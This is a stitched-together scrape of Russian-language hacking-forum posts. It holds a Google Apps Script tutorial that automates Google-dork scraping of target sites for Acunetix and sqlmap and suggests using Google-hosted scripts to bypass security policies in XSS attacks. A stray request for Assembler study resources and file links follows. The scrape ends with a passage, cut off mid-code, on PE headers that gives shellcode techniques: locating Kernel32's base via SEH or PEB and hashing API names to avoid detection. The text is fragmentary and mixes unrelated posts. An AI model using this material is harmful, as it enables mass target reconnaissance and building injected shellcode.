Для тех, кто не знаком или плохо знаком с JS — в url помещается строка, которая зажата в литеральные кавычки (буква ё с английской раскладкой). Эти кавычки позволяют использовать подстановки ${...} прям как в BASH. Ну или как f”{...}” в Python. Внутри может быть переменная, вызов функции и т.п. Все значения, которые могут подставляться параметрам, взяты из сервиса. В данном случае мы получаем максимум 100 значений (максимум сервиса), 37 это домен google.com, lr — регион США.
И последний параметр, но не последний по важности, это filter=1 - в моем случае, этот параметр отвечает за отображение скрытых результатов. Сами понимаете, что там гугл может спрятать крайне полезную информацию.
Первый запуск
Итак, у нас получилось четыре функции, которые полностью реализу нужный нам парсинг. Можно жать на кнопу “Run” и…. не спешим радоваться и не отчаиваемся. Google хочет убедиться, что мы действительно понимаем, что запускаем скрипт и для этого просит подтверждения.
Жмем “Review permissions” и выбираем нужный аккаунт для авторизации. После жмем на слабо заметную ссылку Advanced.
Да, Google постарался максимально усложнить процесс запуска скрипта, чтобы усложнить жизнь честным хацкерам и скамерам. Жмем на Go … (unsafe)
После нажатия Allow, на почту прилетит письмо о предоставленном доступе и
скрипт, наконец-то, выполнится. Должен выполниться без ошибок, если все
написано правильно и есть баланс. Если что-то пошло не так, внизу появится
ошибка.
Что делать в случае ошибки?
Триггер для автозапуска
Чтобы все свелось к добавлению новых дорков и сбросу счетчиков на 1, осталось
добавить автозапуск. Жмем на часики слева и попадаем в список триггеров.
Добавляем новый. Параметры, как на картинке:
Все, каждые 5 минут будет запускаться функция initParsing. Версия Head - это исходники. Time-driven, соответственно, запуск по времени. Запуск по минутам, каждые пять минут. Отчет о запусках ежедневно.
К слову об отчетах, в левой панели, прямо по часиками есть пункт “Execute” (запуски). Это полноценный лог всех запусков проекта. Там есть время запуска, время выполнения, тип запуска и куча полезной информации. Чтобы посмотреть ошибки, жмем на нужный запуск. Но главное, что все консоль логи попадают сюда...
Логирование проекта
В большинстве случаев, достаточно выводить данные в консоль, через console.log() или Logger.log(). Но бывают ситуации, когда таким образом данные не удастся получить, а распечатка данных нужна. Или, например, нужен быстрый доступ к списку запросов полученных через doGet() или doPost(). В этом случае, можно сделать отдельный лист “log” и добавлять на него данные через appendRow[]
JavaScript:Copy to clipboard
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetLog = xss.getSheetByName(`log`);
sheetLog.appendRow([new Date(),’logLevel’ , ‘Data to log’]);
Ускоряем парсинг
Если надо парсить большое количество дорков, лучше разбить их на разные файлы. Создали основную таблицу, сделали хоть 100 копий, сбросили переменные и добавили триггеры. При копировании в рамках одного аккаунта, скрипты нормально копируются. Если копировать между аккаунтами, могут возникнуть коллизии. Лучше создавать таблицы заново.
Получение данных из таблицы GET-запросом без заморочек
Отлично, сайты парсятся и можно руками что-то с ними делать. Но разве ради этого мы всю эту историю с автоматизацией придумали? Чтобы парсить, а потом руками куда-то переносить? Нет, поэтому напишем простой код для получения данных. В этом нам помогут быстрые триггеры doGet() или doPost(). Чем они занимаются, понятно из названий — обрабатывают GET и POST запросы к нашему веб-приложению.
Вэб приложени? Да! Фишка скриптов Google в том, что их можно опубликовать, как полноценное приложение. Более того, можно даже веб-морду прикрутить, но это не является темой нашего урока, поэтому не отвлекаемся.
Для начала напишем простую функцию получения данных:
JavaScript:Copy to clipboard
function doGet(e) {
return ContentService.createTextOutput('XSS.is').setMimeType(ContentService.MimeType.TEXT)
}
Чтобы приложение GAS дало нам ответ, нам нужно сделать правильные return из doGet(). В этом нам поможет интерфейс ContentService. Функция createTextOutput сформирует правильный HTTP-ответ. Не важно, возвращаем мы просто текст, CSV или JSON, нужна именно текстовая функция. Ну и, как видно из кода, чтобы задать конкретный Content-Type, добавляем его через setMimeType используя константы хранящиеся в ContentService.MimeType.
Следующим шагом нужно задеплоить приложение. Важная оговорка — в конце деплоя будет предоставлен адрес для доступа к приложениею. По этому адресу будет открываться последняя версия опубликованного приложения. Если после публикации были внесены изменения в код, они не будут работать, так как версия исходников и деплоя будет отличаться. Поэтому, важно следить, чтобы была задеплоена актуальная версия, иначе можно часами искать ошибку и не понимать, почему код не работает.
Справа вверху жмем Deploy > New Deployment и видим такое окошко.
Кликаем на шестеренку слева, выбираем “Web app”. Указываем от чьего имени будет выполняться приложение. В нашем случае выбираем Me. В “Who has access” указываем “Anyone”. Именно такие параметры, так как нам нужен простой прямой доступ к данным. В ином случае, надо заморачиваться с авторизациями и правами. А так, делаем из Python обычный get и как хотим оперируем данными.
На последнем шаге, Google дает нам идентификатор веб-приложения и ссылку для доступа. Копируем ссылку и жмем Done. Переходим по ссылке и видим надпись “XSS.is”. Ура, веб-приложение как-то но работает.
Заставим функцию делать то, что нужно нам:
Параметры получаю следующим образом:
JavaScript:Copy to clipboard
let {offset,count} = e.parameters;
Объект, который получаем на входе содержит в себе ряд важных свойств. При работе с GET-параметрами, чаще всего нужен parameters. Из него, методом десириализации, получаю две нужных переменных. Если бы мы работали с doPost() и входными данными POST-запроса, мы бы брали данные из e.postData.contents. Эта информация для тех, кто хочет углубиться, добавив функционала.
Следующим шагом, получаю ссылку на таблицу уже известным способом:
JavaScript:Copy to clipboard
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
Далее делаю пару проверок. Во-первых, если у нас offset больше или равен количеству строк, можно сразу вернуть пустой объект. Во-вторых, проверю, чтобы значение офсета было больше 0 (помните, что в таблицах данные с единички?). Ну и ограничу максимальное количество в ответе тысячей строк и сделаю проверку на забывчивость:
JavaScript:Copy to clipboard
if (offset >= sheetResults.getLastRow()) {
return ContentService.createTextOutput({success:true, count: 0, results:[]}).setMimeType(ContentService.MimeType.JSON)
}
if (!offset || offset < 1) offset = 1
if (!count || count > 1000) count = 1000;
Остается только получить данные из таблицы и вернуть их:
JavaScript:Copy to clipboard
const results = sheetResults.getRange(offset, 1, count).getValues().map(el => el[0]).filter(Boolean)
return ContentService.createTextOutput(JSON.stringify({success:true, count: results.length, results})).setMimeType(ContentService.MimeType.TEXT);
Как и раньше, используем getRange(). Отличие только в третьем параметре, им мы указываем количество нужных строк. Если бы и ячеек надо было несколько, дописали бы четвертый параметр. Дальше работает функция getValues(), которая возвращает массив массивов. В нашем случае это выглядит так:
[[‘https://google.com’], [‘https://yandex.ru’’]]
Click to expand...
Соответственно, нам нужно сделать массив плоским, для чего и нужна функция map(el => el[0]), которая в сущности просто возвращает, вместо массива значений, одно значение, которые упаковываются в обычный массив строк.
Возврат ContentService уже знаком, разве что передаем объект, который конвертируется в строку через JSON.stringify(). Сам объект выглядит так:
JSON:Copy to clipboard
{
success: true,
count: results.length,
results
}
Можно не париться и возвращать просто строками. Все зависит от ваших задач и предпочтений. Мне удобнее получить полноценный объект, который можно удобно построчно обрабатывать. Но если, например, предполагается дальнейшая загрузка в тот же Acunetix через CSV-файлы можно сделать так:
JavaScript:Copy to clipboard
return ContentService.createTextOutput(results.join(‘,\n’)).setMimeType(ContentService.MimeType.CSV);
А в принимающем скрипте на Python просто напрямую писать в нужный файл. Разве что, ограничить количество строк в 500, т.к. из csv окунь больше не принимает.
Скрипт готов, осталось только сделать новый деплой: Deploy > Manage Deployments, в появившемся окне жмем на карандашик, в версиях выбираем New Version и жмем Deploy. После этого, скрипт будет полноценно работать.
Spoiler: Вся функция doGet(e)
JavaScript:Copy to clipboard
function doGet(e) {
let {offset,count} = e.parameters;
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
if (!offset || offset < 1) offset = 1
if (!count || count > 1000) count = 1000;
if (offset >= sheetResults.getLastRow()) {
return ContentService.createTextOutput({success:true, count: 0, results:[]}).setMimeType(ContentService.MimeType.JSON)
}
const results = sheetResults.getRange(offset, 1, count).getValues().map(el => el[0]).filter(Boolean)
return ContentService.createTextOutput(JSON.stringify({success:true, count: results.length, results})).setMimeType(ContentService.MimeType.TEXT);
}
Пример результата:
JSON:Copy to clipboard
{
"success": true,
"count": 3,
"results": [
"wipach.si","flutacious.com","naveenautomationlabs.com"
]
}
Останется дописать скрипт, например, на Python, который будет перегружать
данные из таблицы в тот же Acunetix. Подробнее о том, как создавать таргеты в
окуне и генерить новые сканирования, читайте в этой
статье. Здесь просто приведу короткий скрипт
на питоне, без детальных пояснений, так как они излишни. Единственное, обращу
внимание на то, где взять ID приложения. Помните мы делали деплой? Там в окне
был нужный нам ID. Для его получения можно зайти в Deploy -> Manage Deployment
Python:Copy to clipboard
import requests
deployment_id = 'your_deployment_id'
offset = 0
count = 100
url = f'https://script.google.com/macros/s/{deployment_id}/exec?offset={offset}&count={count}'
response = requests.get(url=url)
if response.status_code ==200:
print(response.text)
Нормализация данных
Парсить научились, отдавать данные тоже. Но есть нюанс — URL’ы являются полноценными ссылками, с указанием путей и GET-параметров. Много где это может мешать. Например, sqlmap полезно дать полный урл, Acunetix надо бы домен, а какому-нибудь DNS-дамперу хост. Нужно все это дело нормализовать и привести к удобному виду.
В оригинале, предпочитаю чтобы у меня были следующие данные:
Поправлю, слегка, код парсера. Добавлю функцию, которая вытащит нужные данные из url страницы и заменю пустые значения appendRow[] подстановками.
JavaScript:Copy to clipboard
function getClearURLData(url) {
const [protocol, tail] = url.split(':');
const host = tail.replace('//','').split('/')[0];
return {
protocol, host, domain: protocol.concat('://', host)
}
}
function parseJSONToSheet_(json, sheet, dork) {
const {results} = json;
for(let i = json.first; i <= json.last; i++) {
const clearURLData = getClearURLData(results[i].url)
console.log('Append data: ', [results[i].url, results[i].title, results[i].passage, ,dork])
sheet.appendRow([clearURLData.host, clearURLData.domain, results[i].url, results[i].title, results[i].passage, ,dork]);
}
}
Все, что делает getClearURLData():
1. Выделяет из урла протокол
2. Разбивает оставшийся после первой операции хвост, и берет оттуда первый
элемент - это хост
3. Собирает все обратно в удобный объект.
Парсинг без использования сервисов
Вероятно, у вас возникнет желание парсить что либо еще, без использования сервисов и API, а в лоб через DOM. Тогда на помощь нам придет возможность подключать сторонние библиотеки, а именно Cheerio. Вот ссылка на проект Cheerio для GAS https://github.com/tani/cheeriogs
Чтобы подключить его, в проекте GAS слева жмем плюсик возле надписи Libraries. В появившееся окно вбиваем идентификатор библиотеки 1ReeQ6WO8kKNxoaA_O0XEQ589cIrRvEBA9qcWpNqdOP17i47u6N9M5Xh0 Это точно такой же ID, который нам выдает Deploy приложения.
После нажатия на Look up, окно приобретает такой вид. Оставляем последнюю версию и жмем Add. Если потребуется, всегда можно будет кликнуть на библиотеку и заменить версию.
Теперь доступен объект Cheerio со всем его функционалом. Вот пример использования из справки:
JavaScript:Copy to clipboard
const content = UrlFetchApp.fetch('https://en.wikipedia.org').getContentText()
const $ = Cheerio.load(content);
Logger.log($('p').first().text());
После обработки контента через Cheerio, становится доступна работа с контентом, практически как с обычным DOM через jQuery. Для примера приведу парсер прокси с одного из тонны сайтов-листингов бесплатных прокси. Пример намеренно выстроен таким образом, чтобы максимально просто показать работу с библиотекой:
JavaScript:Copy to clipboard
function parseProxy() {
const url = `https://freeproxyupdate.com/fast-response-proxy`;
const html = UrlFetchApp.fetch(url).getContentText();
console.log(html)
const $ = Cheerio.load(html);
const table = $('.list-proxy > tbody').first();
const rows = $(table).find('tr').toArray();
const proxyData = rows.map(el => $(el).find('td').toArray())
.map(cells => [$(cells[0]).text(), $(cells[1]).text()])
console.log(proxyData)
}
Сначала находим таблицу, вернее сразу ее тело. Следом берем все tr, приводим к массиву и обходим их, вытаскивая нужные ячейки таблицы. На выходе у нас массив проксей и портов:
[ [ '167.114.222.149', '27182' ], [ '167.114.222.144', '27182' ], [ '\n\n\n\n', '' ], [ '64.201.163.133', '80' ], [ '138.199.48.1', '8443' ], [ '138.199.48.4', '8443' ], [ '51.124.209.11', '80' ], [ '201.174.239.31', '4153' ], [ '195.189.62.5', '80' ]]
Click to expand...
Итоги
В этой статье, на реальном примере, разобрал как можно использовать возможности Google Apps Script для парсинга целей. Хоть это и реальный рабочий пример, но по сути только верхушка айсберга возможностей. GAS позволяет творить очень много интересного. Вот некоторые мысли:
Можно прикрутить не только парсинг сайтов, но и наполнение базы нужными данными: статистика посещаемости, ДНС-реверс, фаззинг и т.д. Можно прикрутить различные сервисы для сбора данных так же по API или варварски через Cheerio, Можно внешними скриптами наполнять данные по результатам работы инструментов (например, все тот же окунь). У вас есть механизм, который может полноценно работать сам по себе, не требуя ваших ресурсов и вмешательства.
Никто не мешает в контент сервисе указать MIME-type “JAVASCRIPT” и через вебприложение гугла отдавать полноценный скрипт. Да, видимо в борясь с хацкерами, которые использовали подобное для XSS атак для обхода политик безопасности, Google перенес приложения на домен script.googleusercontent.com но в любом случае, подобное хранилище скриптов может оказаться полезным. Как минимум, не нужны сервера, не нужен отдельный домен.
Те же телеграм-боты спокойно цепляются к GAS вебхуком. А все остальная инфраструктура Google? Мы ведь даже не коснулись ее. Между тем, мне в смартфон до сих пор ежедневно сыплются десятками уведомления от календаря по типу “Аня отправила вам видео” или “Сбербанк: поступил перевод”. Не лазил в этим темы, но скорее всего, реализованы они именно через GAS.
Я постарался максимально понятно и подробно донести свои мысли. Если интересно развитие темы применения GAS в нашей сфере, дайте знать любым удобным способом и я обязательно выдам что-то очень интересное.
Spoiler: Полный код code.gs
JavaScript:Copy to clipboard
let startTime = new Date().getTime();
function doGet(e) {
let {offset,count} = e.parameters;
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
if (!offset || offset < 1) offset = 1
if (!count || count > 1000) count = 1000;
if (offset >= sheetResults.getLastRow()) {
return ContentService.createTextOutput({success:true, count: 0, results:[]}).setMimeType(ContentService.MimeType.JSON)
}
const results = sheetResults.getRange(offset, 1, count).getValues().map(el => el[0]).filter(Boolean)
return ContentService.createTextOutput(JSON.stringify({success:true, count: results.length, results})).setMimeType(ContentService.MimeType.TEXT);
}
function resetDorkRow() {
ScriptProperties.setProperty('currentDork', 1);
}
function initParsing() {
let currentDork = parseInt(ScriptProperties.getProperty('currentDork'));
if (!currentDork) {
currentDork = 1;
ScriptProperties.setProperty('currentDork', currentDork);
}
startParsing(currentDork);
}
function getDataFromAPI(dork) {
const url = `${API_URL}?user=${API_USER}&key=${API_KEY}&groupby=100&domain=37&device=desktop&hl=en&lr=${API_REGION}&filter=1&query=${encodeURIComponent(dork)}`;
console.log('Start fetching by url: ', url);
const response = UrlFetchApp.fetch(url);
const content = response.getContentText();
console.log('Response:');
console.log(content);
const json = JSON.parse(content);
return json;
}
function getClearURLData(url) {
const [protocol, tail] = url.split(':');
const host = tail.replace('//','').split('/')[0];
return {
protocol, host, domain: protocol.concat('://', host)
}
}
function parseJSONToSheet_(json, sheet, dork) {
const {results} = json;
for(let i = json.first; i <= json.last; i++) {
const clearURLData = getClearURLData(results[i].url)
console.log('Append data: ', [results[i].url, results[i].title, results[i].passage, ,dork])
sheet.appendRow([clearURLData.host, clearURLData.domain, results[i].url, results[i].title, results[i].passage, ,dork]);
}
}
function startParsing(currentDork) {
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetDorks = xss.getSheetByName(SHEET_DORKS);
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
const lastDork = sheetDorks.getLastRow() + 1;
for(let i = currentDork; i < lastDork; i++) {
let currentTime = new Date().getTime();
let seconds = (currentTime - startTime) / 1000;
if (seconds > MAX_TIME_SEC) {
console.log('Time end');
return;
}
const dorkValue = sheetDorks.getRange(i, 1).getValue();
const result = getDataFromAPI(dorkValue);
parseJSONToSheet_(result , sheetResults, dorkValue);
currentDork++;
ScriptProperties.setProperty('currentDork', currentDork);
}
}
Spoiler: Код const.gs
JavaScript:Copy to clipboard
const API_URL = `h_ttps://xmlstock.com/google/json/`;
const API_KEY = `your_api_key`;
const API_USER = your_user_id;
const API_REGION = 2840;
const SHEET_DORKS = `dorks`;
const SHEET_RESULTS = `results`;
const MAX_TIME_SEC = 280;
Здравствуйте! Знающие люди, посоветуйте пожалуйста лучшие источники для
изучения языка Assembler, книги, статьи, курсы. Я хочу понимать как работает
компьютер, его архитектуру. Так же хотел бы услышать советы по изучению,
возможно что-то, что улучшит понимание и эффективность обучения.
Заранее спасибо
Собственно как многие и говорят - материал не блещет новизной (16 бит), и в какой-то степени лишь захламляет разум.. Но, "для массы", хотя-бы первые две главы, почитать стоит.
Скачать:
http://rghost.ru/47607621
http://www.sendspace.com/file/0hgiml
[CLIKE]
](https://anonfile.com/03q5m7Aen3/XDA_s_Android_Hacker_s_Toolkit_epub)
anonfile.com
[/CLIKE]
how to
Рассмотрим формат исполняемого файла..
Важной его частью является формируемый компилятором заголовок PE-Header –
этакий паспорт с полной информацией о своём клиенте. Когда система запускает
файл на исполнение, загрузчик образов в Ntdll.dll сначала берёт только
заголовок из дискового файла, а остальную его часть не трогает. На основании
этой информации, лоадер создаёт указанное число секций и прочих ресурсов, и
только потом заполняет эти секции кодом и данными. Под заголовок выделяется
одна 4К- страница виртуальной памяти размером 0х1000 байт.
Header имеет довольно запутанную структуру и чтобы разобраться в нём хотя-бы на начальном уровне, придётся проштудировать манны как-минимум раз 10. Здесь уже подымался этот вопрос, и человек написал целую статью на эту тему, где достаточно внятно освятил общее положение дел – советую ознакомиться с ней. Так-что не буду повторяться, а уделю внимание только разбору секции-экспорта, но для начала пробежимся по-макушкам..
Всё-что будет сказано ниже, нужно воспринимать как вводную часть для программирования Shell-кода и внедрения его в чужой процесс. Любой шелл устроен так, что у него нет секции-импорта ..и вообще нет ничего, кроме своих мозгов. А раз нет импорта, значит он не может вызывать API по их именам, и ему нужно самому искать точки-входа в нужные функции. Вот тут-то и приходит на помощь PE-заголовок, в котором перечисляются ординалы, имена и адреса экспортируемых функций.
Шелл – это скрытый агент, блуждающий в чужом контексте в маске-анонимуса. Излюбленными его API являются функции из Kernel32.dll. В этой библиотеке есть всё для создания полноценного кода, и в большинстве случаях остальные либы просто не нужны. Так-что сделаем упор на Kernel32, которая вместе с Ntdll.dll присутствует во-всех процессах, причём всегда по одинаковому адресу – для WinXP это 0х7с800000, для семёрки 0х77а90000:[/FONT]
Комбинация Ctrl+G в окне отладчика позволяет просматривать регионы памяти. Если ввести туда базу кернела 0х7с800000, то попадём в начало его РЕ-заголовка (см.рис.ниже). Сигнатура ‘MZ’ гарантирует, что перед нами именно заголовок исполняемого файла, а не что-то иное. MZ – это инициалы разработчика досовских экзешников Mark Zbikowski (видимо любил себя чел), так-что каждый файл формата РЕ начинается с такой заглушки Dos-Stub. Непосредственно РЕ-заголовок следует ниже, а его конкретный RVA-адрес лежит по смещению 0x3с от начала файла:
В документации на РЕ-файл фигурируют три типа адресов: базовый Base, виртуальный VA и относительный RVA (Relative-Virtual-Address). Виртуальный адрес получается из комбинации: VA = Base+RVA. Например, в данном случае по смещению 0х3с лежит значение 0х000000F0 – это адрес относительно базы, который назвали RVA-адресом. Чтобы получить виртуальный адрес начала РЕ-заголовка, нужно к базе 0х7с800000 прибавить 0xF0. Как показывает скрин выше, по этому адресу находится сигнатура РЕ, от Portable-Executable (портируемый экзе). Теперь посмотрим на формат этого заголовка..
Выделенный красным блок – это и есть РЕ-заголовок, который описывает глобальные свойства файла. Так, после сигнатуры по смещению(04) указывается привязка программы к процессору – 0х014С означает i80386 и выше. Смещение(06) хранит кол-во секций в файле = 0х0004. Дальше идёт закодированные дата/время создания файла = 0х480381ЕА. Следущие 8-байт зарезервированы и всегда равны нулю. Предпоследние два по смещению(14h) – это размер двух/следующих блоков, он жёстко зафиксирован на отметке 0х00Е0. И последнее слово 0х210Е хранит атрибуты данного файла – исполняемая Win32 библиотека.
В коде, удобно указывать все смещения относительно начала РЕ-заголовка, поместив его например в регистр ESI в качестве базы. Поэтому здесь и далее мы будем придерживаться этих правил (одна строка – это параграф памяти размером 10h-байт). В опциональном заголовке нас будут интересовать всего несколько полей:
Серый блок ‘Image_Directory’ для нас представляет особый интерес, именно он послужит проводником в секцию-экспорта системных API. Формат каталога такой, что первые 4 байта это RVA-указатели на соответствующую таблицу, а вторые – её размер. Hiew непонаслышке знаком с этим диром, только указанные им адреса не совпадают с адресами в памяти, т.к. он работает с образом файла на диске, а отладчик OllyDbg отображает виртуальные адреса в памяти. Но сейчас важна структура каталога, для просмотра которой нужно пройтись по цепочке меню: Enter (Hex) -> F8 (РЕ_Header) -> F10 (Dir):
На что здесь стОит обратить внимание, так это на отсутствие в данном списке линков на секцию-кода и данных. Дело в том, что эти две секции вообще не требуют таблиц для своего описания. Загрузчик образов просто выделяет 1000h байтные страницы и тупо копирует в них данные и код в том виде, в котором они хранятся на диске. Если код превышает размер одной страницы (например 1200h), то выделяются две страницы, а лишние 800h забиваются нулями. Это известно как ‘выравнивание секций в памяти на 1000h байтную границу’ – Section_Aligment.
Нужно сказать, что выравниваются секции не только в памяти, но и на диске, только не на 1000h, а на 200h байт - File_Aligment. Такая разница позволяет экономить дисковое пространство. Заражающая файлы малварь, любит дописывать себя в такие бесхозные байты-выравнивания. Если посмотреть на дампы файлов (хоть в памяти, хоть на диске), то у них всегда имеется болото нулей в хвосте секций.
Кому интересно назначение полей всех заголовков, некто Ю.С.Лукач разложил это по-полочкам в своём туториале: ‘Структура исполняемых файлов Win32 и Win64’. Нужно отдать должное автору за сбор такого мануала. Это одно из лучших описаний РЕ-файла в сети рунет.
4.4.0. Разбор таблицы-экспорта в поисках адресов функций
Теперь посмотрим, каким образом шелл может получить адреса API без системной поддержки типа GetProcAddress(). Во-первых, на системах х32 каталог секций IMAGE_DIRECTORY всегда начинается по смещению РЕ+78h. Первым элементом в нём лежит как-раз RVA-указатель на таблицу экспорта (см.скрин Hiew’a выше), в данном случае он равен 0х0000262с. Соответственно, чтобы получить из него виртуальный адрес VA, суммируем RVA с базой и получаем 0х7с80262с. Топаем туда в отладчике и видим такую таблицу-экспорта размером 28h байт (выделена красным):
Соберём всё вышесказанное вместе..
Значит таблица-экспорта имеет три вложенные таблицы:
• Таблица точек-входов в экспортируемые функций, RVA-указатель на которую лежит по смещению 0х1с,
• Таблица указателей на имена функций по смещению 0х20,
• Таблица-ординалов функций, которая в данном случаем нам не нужна.
Кроме того, у нас имеется счётчик общего кол-ва функций в либе по смещению 0х14 – здесь он равен 0х03b9 или 953 функции API. Таким образом, первой экспортируемой функцией из библиотеки Kernel32.dll является ActivateActCtx(), а точкой-входа в неё – адрес 0x7c80a6d4 (выделенный синим блок). На всякий/пожарный, проверим наши доводы в WinDbg ..и точно совпадает:
Получив по такому алгоритму адрес функции в памяти, шелл-код может вызывать её по адресу, а не по имени. Например можно считать адрес функции в регистр EDX, и дальше CALL_EDX. Это прекрасно работает, только есть одна загвоздка – как среди такого кол-ва функций (953), найти имя нужной нам API, ..не сравнивать- же все строки контекстным поиском?
4.4.1. Вычисление хеша имени функций
Любой поиск – это сравнение двух значений, а значит нужна маска для поиска. Если зашить в шелл имя искомой функции в формате ASCIIZ, то это получиться не шелл, а ёлка с гирляндами - ASCII-строки сдадут его с потрахами. Одним из возможных вариантов является вычисление хеша строки, или её контрольной суммы. То-есть мы складываем все байты имени функции и получаем их сумму. Так, имя API длинною например в 20-символов, можно будет сжать до пару байт. Разрядность хеша должна быть минимум 16-бит (слово), тогда вероятность коллизии (совпадении) хешей на порядок уменьшится. Вычислить хеш строки можно в цикле тремя строчками кода:
C-like:Copy to clipboard
include 'win32ax.inc'
.data
frmt db 'Хеш от строки "CreateToolhelp32Snapshot" = 0х%04x',0
funcName db 'CreateToolhelp32Snapshot'
strLen = $-fName
text db 128 dup(0)
;-------
.code
start: mov ecx,strLen ;// ECX = длина строки с именем функции
mov esi,funcName ;// её адрес
xor eax,eax ;// обнулить EAX и EBX
xor ebx,ebx ;//
@hash: lodsb ;// AL = очередной байт из ESI
add ebx,eax ;// суммируем их в EBX
loop @hash ;// повторить ECX-раз..
cinvoke wsprintf,text,frmt,ebx ;// хеш в EBX - переведём его в символы
invoke MessageBox,0,text,0,0
invoke ExitProcess, 0
.end start
4.4.1.Поиск базы Kernel32.dll впамяти
До этих пор мы рассматривали внутренности кернела, теперь выйдем наружу и найдём её адрес в виртуальной памяти. Это первое, что должен будет сделать шелл попав в тело жертвы из эксплоита. Известных лично мне способов поиска базы только два, а остальные – их модификация. В основе первого лежит идея, что если найти любую функцию из Kernel32.dll и потянуть за неё, она обязательно выведёт нас к базе. Недостатком является поиск перебором, что отнимает относительно много времени. Альтернативой служит второй способ, когда мы берём уже готовый адрес из структуры РЕВ процесса. Рассмотрим оба метода подробней..
Во-первых нужно взять во-внимание то, что базы всех модулей одного приложения всегда выровнены на 64К-байтную границу, а это 10000h байт (см. MemoryMap в оле). Соответственно, чтобы найти базу Kernel32 в памяти, нужно получить указатель на любую функцию из этой библиотеки, и сделать её кратной 0х10000. Если повезёт и по выровненному адресу увидим сигнатуру ‘MZ’, значит мы у цели. Иначе, нужно в цикле отнимать по 0х10000 и мы обязательно упрёмся на базу. На резонный вопрос ‘от куда взять адрес функции’ ответит нам стек в отладчике OllyDbg:
Здесь я выделил зелёным два адреса внутри Kernel32.dll, однако первый отпадает сразу, т.к. жертва могла поместить уже что-нибудь в стек. Зато второй (обозначеный красным) блок будет присутствовать всегда – это отлавливающий системные исключения SEH-фрейм Structured_Exeption_Handler.
Замечу, что у одной программы может быть несколько таких фреймов (для каждого исключения свой), и каждый последующий указывает на предыдущий – именно поэтому один фрейм содержит в себе два значения, где нижнее это указатель на обработчик исключения, а верхнее – указатель на следующий фрейм в цепочке. Маркером последнего фрейма является значение 0xFFFFFFFF, его-то процедура обработки и находится внутри кернела. Указатель на первый SEH-фрейм прошит в структуре ТЕВ по смещению(00h), а на сам ТЕВ всегда указывает сегментный регистр FS.
C-like:Copy to clipboard
include 'win32ax.inc'
.data
frmt db 'База Kernel32 = 0х%08X',0
text db 64 dup(0)
;-------
.code
start: nop
;// Этот код будет внутри шелла,
;// и в нём нельзя напрямую вызывать API-функции
mov esi,[fs:0] ; указатель на начало SEH-цепочки
@findSeh: cmp dword[esi],-1 ; проверить значение из ESI на 0хFFFFFFFF (маркер окончания)
je @found ; перейти, если нашли
mov esi,[esi] ; иначе: двигаемся по цепочке вверх
jmp @findSeh ; повторить, пока не найдём последний SEH
@found: mov esi,[esi+4] ; нашли! сл.DWORD - это адрес обработчика SEH
and esi,-0x10000 ; выровнить адрес на 64К границу
mov ecx, 0x10 ; кол-во возможных блоков в памяти
@findPE: cmp word[esi],'MZ' ; проверить блок на сигнатуру РЕ-заголовка
je @kernelBase ; если совпало..
sub esi, 0x10000 ; иначе: двигаемся вверх по адресу
loop @findPE ; проверить все блоки!
;//ннннннннннннннннннннннннннннннннннннннннннннн
@kernelBase:
cinvoke wsprintf,text,frmt,esi ;// в ESI лежит база Kernel32.dll
invoke MessageBox,0,text,0,0
invoke ExitProcess, 0
.end start
Как видим, код получается довольно объёмный, да ещё и с циклами внутри, что отнимает время. Поэтому рассмотрим альтернативу, когда мы просто берём готовый адрес из структуры РЕВ процесса-жертвы. Указатель на РЕВ лежит в структуре ТЕВ по смещению +30h.
При создании системой любого процесса, она логирует свои действия в его блоке окружения PEB – Process_Environment_Block. На определённом этапе рождения нового процесса, в игру вступает загрузчик образов из Ntdll.dll – именно он подгружает системные либы в память процессов. Как и следовало ожидать, этот факт фиксируется в структуре РЕВ, а точнее в его поле ‘PEB_LDR_DATA’, которое предоставляет информацию о загруженных модулях DLL. Заглянем в структуру РЕВ отладчиком WinDbg:
Если вскрыть эту вложенную структуру PEB_LDR_DATA (лоадер), можно увидеть в ней указатели на три двусвязных списка LIST_ENTRY (двусвязные списки уже упоминались – это Forward (следующий в цепочке), и Backward (предыдущий)). Два из эти списка нам особенно интересны – InInitializationOrderModuleList (содержит список DLL в порядке их инициализации), и InMemoryOrderModuleList – либы в порядке их появления в памяти. Базовый адрес библиотеки DLL хранится в 0x10 байтах от блока, на который указывает поле Flink в списке LIST_ENTRY.
Вот пример, в который заложены эти 'высокие принципы.'
Его трейс в отладчике скажет сам-за-себя:
C-like:Copy to clipboard
include 'win32ax.inc'
.data
frmt db 'База Kernel32 = 0х%08X',0
text db 64 dup(0)
;-------
.code
start: nop
;// Этот код будет внутри шелла,
;// и в нём нельзя напрямую вызывать API-функции
mov esi,[fs:0x30] ; берём указатель на PEB из ТЕВ
mov esi,[esi+0x0C] ; смещаемся в РЕВ к LDR_DATA,
mov esi,[esi+0x14] ; ..и дальше к 'InMemoryOrderModuleList'
mov esi,[esi] ; первый указатель в нём будет Ntdll.dll (нам не нужен)
mov esi,[esi] ; второй Kernel32.dll - наш клиент!
mov esi,[esi+0x10] ; по смещению 10h от начала, найдём его базу.
;//ннннннннннннннннннннннннннннннннннннннннннннн
@kernelBase:
cinvoke wsprintf,text,frmt,esi ;// в ESI лежит база Kernel32.dll
invoke MessageBox,0,text,0,0
invoke ExitProcess, 0
.end start
Этот код опирается на то, что все системы класса Win32/64 загружают библиотеки всегда в определённом порядке – сначала загрузчик Ntdll.dll, потом Kernel32.dll, и только потом все/остальные либы типа User32.dll, GDI32.dll и прочие. Поэтому мы пропускаем первый 'InMemoryOrderModuleList', и берём второй. Имена библиотек в этом варианте поиска базы нигде не фиксируются, и шелл надеется только на порядок загрузки либ в память.
В демке ниже приводится вариант, как можно получить имена и адреса всех функций из Kernel32.dll. Хотя если учесть, что вывод осуществляется в цикле, я не буду искать все 953 функции, а ограничусь только первыми 20-30 штук, число которых указывается в счётчике ECX.
Значит сначала ищем базу кернела в памяти, потом IMAGE_DIRECTORY, ну и дальше разбор её секции-экспорта по указанному выше алго. Большую часть кода занимает тут оформление вывода на экран, т.к. после каждой функции нужно править буфер (вставлять перевод строки 13,10, чтобы не затереть предыдущие данные):
C-like:Copy to clipboard
include 'win32ax.inc'
.data
capt db 'Список функций из Kernel32.dll',0
frmt db '0х%08X %s',13,10,0
text db 1024 dup(0)
;-------
